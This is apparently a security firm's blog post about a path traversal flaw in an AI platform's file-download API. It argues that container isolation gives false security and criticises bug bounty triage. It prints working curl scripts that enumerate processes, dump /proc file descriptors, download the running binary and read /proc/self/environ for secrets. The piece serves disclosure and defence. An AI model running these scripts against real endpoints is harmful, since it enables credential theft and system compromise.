Blog
Security

The False Security of AI Containers

Abstract

In the current landscape of AI development, most LLM agents operate in containerized environments where they can execute commands and generate downloadable outputs. LLMs need these capabilities (called tools) because they have a knowledge cutoff date and can’t access real-time information (like today’s date) or execute code to solve complex problems requiring data processing. Many developers believe this architecture provides inherent security, assuming that container isolation offers sufficient protection. However, container isolation alone is a false sense of security.

While container escape vulnerabilities (such as CVE-2021-37841, discovered through my independent research on container escape vectors) and numerous others are well-documented threats, a more insidious problem persists: Major companies deploy what they believe are fully secure containers, yet allow unrestricted file downloads and data exfiltration from within them. This gap creates an exploitable attack surface that most AI developers overlook.

A Bug Bounty Case Study

As part of Equixly’s security research initiative, I often participate in vulnerability disclosure programs offered by leading platforms to discover API security risks within those platforms. Discovering bugs in major companies like OpenAI and Microsoft has only strengthened confidence in Equixly.

Recently, Equixly identified a vulnerability in a leading OpenAI competitor’s platform through a seemingly innocuous API endpoint:

retrieve?filename=/../user-file/uuid.txt

The path parameter pointed directly to external disk storage, resulting in a textbook example of an arbitrary file download and path traversal vulnerability. But the story didn’t end there.

After Equixly’s initial discovery, I investigated the vulnerability’s exploitation potential—specifically, whether it could enable container escape, privilege escalation, or unrestricted exfiltration of sensitive data from the platform.

Exploiting Linux File Descriptors

That’s where Linux file descriptors became the key to understanding the true damaging potential of the discovered vulnerability.

Understanding File Descriptors in /proc

Every running process in Linux maintains a set of file descriptors (FDs) that represent open files, sockets, pipes, and other I/O resources. The /proc/[PID]/fd/ directory contains symbolic links to all files currently opened by a process. This feature is valuable for attackers because it:

Reveals what the application is actively using—configuration files, database connections, log files, or Unix sockets.
Potentially bypasses path restrictions—even if you can’t directly request /app/config/secrets.json, if the process has it open as FD 4, you can access it via /proc/[PID]/fd/4.
Exposes network connections—socket FDs reveal active connections and listening ports.

Practical Enumeration Technique

Here is an example of how I performed file descriptor enumeration via the vulnerable API endpoint:

#!/bin/bash 

# identify running processes by enumerating pids 
# in linux, pids typically range from 1 to pid_max 
# defined in /proc/sys/kernel/pid_max
curl "http://.../api/retrieve?filename=/proc/sys/kernel/pid_max" 

# enumerate running processes by checking /proc/[pid]/cmdline 
for pid in {1..500}; do 
    response=$(curl -s "http://.../api/retrieve?filename=/proc/${pid}/cmdline") 
    if [ $? -eq 0 ] && [ -n "$response" ]; then 
        echo "PID $pid: $response" 
    fi 
done 

# output example: 
# PID 1: /sbin/init 
# PID 156: /usr/bin/python3 /app/main.py 
# PID 342: /opt/api-server-equixly/xxxxx-api --config /etc/api/config.toml 

Once I identified interesting processes, it was easy to enumerate their file descriptors:

#!/bin/bash 

TARGET_PID=342 

# enumerate all file descriptors for the target process 
for fd in {0..255}; do 
    # try to download the file via the fd symlink 
    curl -s "http://.../api/retrieve?filename=/proc/${TARGET_PID}/fd/${fd}" \ 
         -o "fd_${fd}.dump" 

    # check if I got actual content 
    if [ -s "fd_${fd}.dump" ]; then 
        # identify what type of file it is 
        file_type=$(file "fd_${fd}.dump") 
        echo "FD $fd: $file_type" 
    else 
        rm "fd_${fd}.dump" 
    fi 
done 

# output example: 
# FD 0: /dev/null 
# FD 4: /etc/api/config.toml 
# FD 5: ...

This approach eliminates the need for blind path guessing. Rather than hoping to stumble upon /etc/passwd or /app/.env, I systematically enumerate the actual files the application has access to.

The /proc/[PID]/exe symlink is another valuable resource, often overlooked by developers when implementing download restrictions.

Direct access to the running binary: /proc/[PID]/exe is a symbolic link that points to the actual executable file being run by the process. It allows the download of the binary.
```
 # directly download binary in execution: 
 curl "https://api.equixly.com/api/retrieve?filename=/proc/342/exe" -o api-binary
```

Reverse engineering the application: Once you have the binary, you can:

 # disassemble and analyze the code: 
 objdump -d xxxxx-api-binary > disassembly.txt 

 ... 

 # - identify authentication mechanisms 
 # - find hardcoded credentials or api keys 
 # - discover hidden api endpoints 
 # - understand encryption/hashing algorithms 

Understanding the entire attack surface: The binary could reveal:
- All API endpoints: Not exclusively the documented ones, but internal/debug routes as well
- Configuration file paths: Where it looks for config files (which can be then downloaded via other FDs)
- Database connection strings: Sometimes hardcoded or partially visible
- Third-party dependencies: Used libraries and their versions
- Authentication logic: How tokens are validated and session management

Understanding /proc/self/environ: The Treasure Trove of Secrets

Also, the /proc/self/environ file deserves special attention as it’s often the most damaging target in this type of attack. This virtual file contains all environment variables set when the process started, stored as null-byte-separated key-value pairs.

Why is this critical?

Modern development practices encourage developers to avoid hardcoding credentials and instead use environment variables. Docker containers, Kubernetes pods, and CI/CD pipelines all heavily rely on environment variables to inject:

Database connection strings with credentials
API keys and tokens for third-party services
JWT secrets for token signing
Encryption keys

Here’s what makes /proc/self/environ particularly dangerous:

# the raw format is null-byte separated: 
cat /proc/self/environ 
# PATH=/usr/bin\0HOME=/root\0DATABASE_URL=postgresql://user:pass@host/db\0 

Unlike configuration files that might be encrypted or obfuscated, environment variables are stored in plaintext in /proc/[PID]/environ. This file is readable by the process itself and by anyone with sufficient permissions, making it perfect for exploitation through path traversal vulnerabilities.

The False Sense of Security

A path traversal to /proc/[PID]/environ exposes all process environment variables, making this a potential lateral movement vector if not properly protected. The environment variables:

Persist for the lifetime of the process
Are accessible via simple file read operations
Are not protected from path traversal by container isolation

All this creates a dangerous paradox: Developers avoid hardcoding secrets to be secure, but inadvertently make those secrets easily extractable via /proc/self/environ.

This level of access transforms a simple path traversal vulnerability into a complete system compromise, allowing exfiltration of binaries, credentials, database contents, and internal API documentation—all from within what developers believe is a safe container.

A Path Traversal Vulnerability Discovered by Equixly in its Dashboard

A Bug Bounty Platform’s Dangerous Failure

I decided to communicate my discovery to a well-known bug bounty platform. What happened next was not what I expected.

A Duplicate with No Risk?

Despite the severity of my findings, the platform dismissed my report, claiming that:

The container prevented file downloads beyond user-owned or default files
The vulnerability posed no real risk

My report was labeled as “duplicate” with “no risk”. The ticket was closed without properly notifying the affected company of the results.

The Curious Limitations of Managed Bug Bounty Programs

This case sheds light on a critical flaw in the bug bounty ecosystem. Level 1 analysts can close tickets without deep investigation or any transparency. That creates a problematic incentive structure: Researchers are rewarded for quantity over depth, overlooking critical vulnerabilities, and engaging in security theater for billion-dollar companies.

A notable example of this is the experience of a security researcher with Zendesk, in which HackerOne’s triage team dismissed a vulnerability affecting hundreds of Fortune 500 companies as “out of scope.” Despite the clear and present danger, Zendesk failed to take appropriate action.

This story is a sobering, reality-bites display of how bug bounty platforms often fail to address actual security risks effectively. Relying on third-party services for triage can lead to missed vulnerabilities, especially when they have a limited understanding of the broader attack surface.

As an illustration, services like HackerOne tend to dismiss certain types of reports based on narrowly defined guidelines, leading to delays in addressing critical issues. Or they can simply ban the accounts of ethical hackers over a misunderstanding. Stories like these, shared by ethical hackers on social media platforms like X, show how mismanagement by bug bounty services can leave organizations vulnerable for much longer than necessary.

In short, bug bounty programs should never be the primary line of defense. Bug bounty platforms actively incentivize security researchers to prioritize quick findings over in-depth research. Spend 40 hours on a complex authentication bypass with duplicate risk and receive zero compensation, or find an XSS vulnerability in one hour and get paid immediately.

Security researchers rationally choose easy money. The result: Billion-dollar companies remain vulnerable to sophisticated attacks while their bug bounty programs are filled with low-severity XSS findings. Third-party managed security doesn’t solve this problem—it guarantees it.

The Root Problem: Developers and Security

This incident highlights a concerning trend in the AI development space: A shortage of fundamental security knowledge. While developers excel at building innovative features, they often fall short of understanding security principles.

In this specific case, the assumption “it’s just a container” leads to dangerous oversights:

Unrestricted path parameters without proper validation
Insufficient input sanitization on file access APIs
Lack of proper allowlisting for file downloads
Misunderstanding of Linux file system capabilities
Over-reliance on container isolation as a security boundary

Conclusion

Container isolation is not a silver bullet for security. When combined with path traversal vulnerabilities and access to Linux file descriptors, these “safe” containers can leak sensitive binaries, configurations, and system information.

Equixly’s mission is to add a critical security layer directly into the SDLC—catching vulnerabilities before they reach production, rather than relying on external researchers with misaligned incentives.

Beyond tools, the security research community needs systemic change. Researchers should be compensated fairly for their work regardless of findings. A researcher spending 40 hours on a deep security assessment deserves payment—not just those who happen to find exploitable bugs.

Until the industry aligns incentives toward thorough research instead of quick wins, sophisticated vulnerabilities will remain undiscovered.

Identify vulnerabilities in AI containers before they reach production.
Contact our team to learn how Equixly can help.

Alessio Dalla Piazza

CTO & FOUNDER

Former Founder & CTO of CYS4, he embarked on active digital surveillance work in 2014, collaborating with global and local law enforcement to combat terrorism and organized crime. He designed and utilized advanced eavesdropping technologies, identifying Zero-days in products like Skype, VMware, Safari, Docker, and IBM WebSphere. In June 2016, he transitioned to a research role at an international firm, where he crafted tools for automated offensive security and vulnerability detection. He discovered multiple vulnerabilities that, if exploited, would grant complete control. His expertise served the banking, insurance, and industrial sectors through Red Team operations, Incident Management, and Advanced Training, enhancing client security.

11/04/25 Security